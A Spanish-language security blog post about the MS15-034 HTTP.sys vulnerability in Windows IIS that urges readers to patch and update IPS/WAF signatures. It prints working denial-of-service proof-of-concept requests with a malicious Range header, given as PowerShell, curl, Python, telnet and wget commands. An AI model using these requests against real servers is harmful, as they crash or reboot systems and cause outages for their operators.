MS15-034: parchea ya o muere!

Mattias Geniar ha revelado la aparición de exploits para una vulnerabilidad crítica en HTTP.sys (CVE-2015-1635) de Microsoft Windows que podría permitir a un atacante ejecutar código arbitrario o causar una denegación de servicio.

"Existe una vulnerabilidad de ejecución remota de código en la pila del protocolo HTTP (HTTP.sys) que es causada cuando HTTP.sys analiza de forma incorrecta la sintaxis de ciertas solicitudes HTTP especialmente diseñadas. Un atacante que aproveche esta vulnerabilidad podría ejecutar código arbitrario en el contexto de la cuenta del sistema", en el Microsoft Security Bulletin MS15-034.

"Para aprovechar esta vulnerabilidad, un atacante tendría que enviar una solicitud HTTP especialmente diseñada al sistema afectado. La actualización corrige la vulnerabilidad al modificar la forma en que la pila HTTP de Windows maneja las solicitudes".

Precisamente, Mattias alertó que los primeros fragmentos de código para explotar MS15-034 en IIS están empezando a surgir, y lo peor, es trivial ejecutarlo y los resultados pueden ser catastróficos. Por ejemplo, conseguir que un servidor Win2k12 (y versiones posteriores) se caiga (BOYD) o se reinicie mediante una sóla petición HTTP:

- powershell:
powershell -com {$wr=[Net.WebRequest]::Create('http://127.0.0.1/iisstart.htm');$wr.AddRange('bytes',18,18446744073709551615);$wr.GetResponse();$wr.close()}

- curl:
$ curl -v 10.0.1.1/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

- un simple Python:
#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:   
 sys.exit('Give me an IP')
 
Host = sys.argv[1]
 
def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()
 
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
 
SendPayload(Init, Host)

- O incluso mediante un simple telnet:
$ telnet 10.0.1.1 80
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

- También enviando una petición a /welcome.png (2008 R2) o /iis-85.png (Windows Server 2012/R2):
wget --header="Range: bytes=18-18446744073709551615" http://blah-2012-server.com/iis-85.png

Ya véis la facilidad que supone probar estas simples PoC así que ya sabéis... actualizar las firmas de vuestros IPS, de vuestro WAFs y, sobretodo y si todavía no lo has hecho, ¡actualiza el IIS y los servidores Windows tan pronto como sea posible!

pd. Podéis comprobar si los servidores de vuestra LAN con este script de Nmap:
https://github.com/cldrn/nmap/blob/master/scripts/http-vuln-cve2015-1635.nse

Fuentes:
- Remote Code Execution Via HTTP Request In IIS On Windows
- Microsoft Window - HTTP.sys PoC (MS15-034)
- Microsoft Security Bulletin MS15-034 - Critical
- Exploit Code Emerging for Windows HTTP.sys Vulnerability – Patch Now!

- Metasploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb)
- [NSE] Script to detect remote code execution in Microsoft Windows systems (MS15-034)

Comentarios